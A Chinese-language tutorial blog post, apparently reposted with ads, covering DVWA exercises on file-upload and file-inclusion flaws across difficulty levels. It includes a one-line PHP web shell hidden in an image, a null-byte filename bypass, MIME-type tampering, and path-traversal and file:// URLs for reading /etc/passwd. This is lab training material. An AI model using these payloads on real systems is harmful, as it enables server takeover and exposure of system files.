文件上传漏洞修复

1. 文件mime 类型过滤

2. 文件大小过滤

3. 文件类型过滤

4. 获取图像信息检测

 

使用dvwa 测试

 

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

1. low级别 没有做过滤可以直接上传php文件。

 Web渗透测试 之 文件上传、文件包含 Safe 第1张

 Web渗透测试 之 文件上传、文件包含 Safe 第2张

 

 

 

2. 在medium 级别对上传文件的mine 类型进行了白名单过滤,我们可以通过brupsuite 改包实现上传

修改数据包Content-Type: application/x-php  Content-Type: image/jpeg

 Web渗透测试 之 文件上传、文件包含 Safe 第3张

 Web渗透测试 之 文件上传、文件包含 Safe 第4张

 

 

3. 在 high 级别中 增加了,类型检测,getimagesize获取图像信息检测

php5.4 以下 可以使用文件名 1.php%00.jpg 进行绕过

php5.4 以上 需要配置文件包含漏洞进行渗透

 

 方法一:

绕过方式,在图片文件后面 追加 恶意代码

由于无法使用菜刀等,一般该级别可以使用php的 system 函数

<?php @system($_POST[caibao])?> # 该命令需要使用post 提交数据

上传之后需要找到文件保存的绝对路径,以及存在的 文件包含漏洞

 

方法二:

使用GIF98A 放在文件首行,声明该文件是图片格式

 Web渗透测试 之 文件上传、文件包含 Safe 第5张

 

 

 Web渗透测试 之 文件上传、文件包含 Safe 第6张

 Web渗透测试 之 文件上传、文件包含 Safe 第7张

 

 

 

文件包含漏洞

文件包含漏洞是由于php调用本地文件产生的

 

low 级别 未设置过滤,可使用file 查看系统任意文件

使用 相对路径获取数据

http://192.168.140.131/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

 

使用绝对路径获取数据

http://192.168.140.131/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

 

 Web渗透测试 之 文件上传、文件包含 Safe 第8张

 Web渗透测试 之 文件上传、文件包含 Safe 第9张

 

 

medium 级别对url 已经 相对路径做了过滤,可以使用file 协议进行绕过(与low 绝对路径方法相同)

 Web渗透测试 之 文件上传、文件包含 Safe 第10张

 

 

 

high级别 使用白名单过滤只可以访问include.php 以及file 开头的文件,而file协议刚好也是file开头 即可正常绕过

 Web渗透测试 之 文件上传、文件包含 Safe 第11张

 

 

impossible 级别设置了更严谨的白名单

 Web渗透测试 之 文件上传、文件包含 Safe 第12张

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄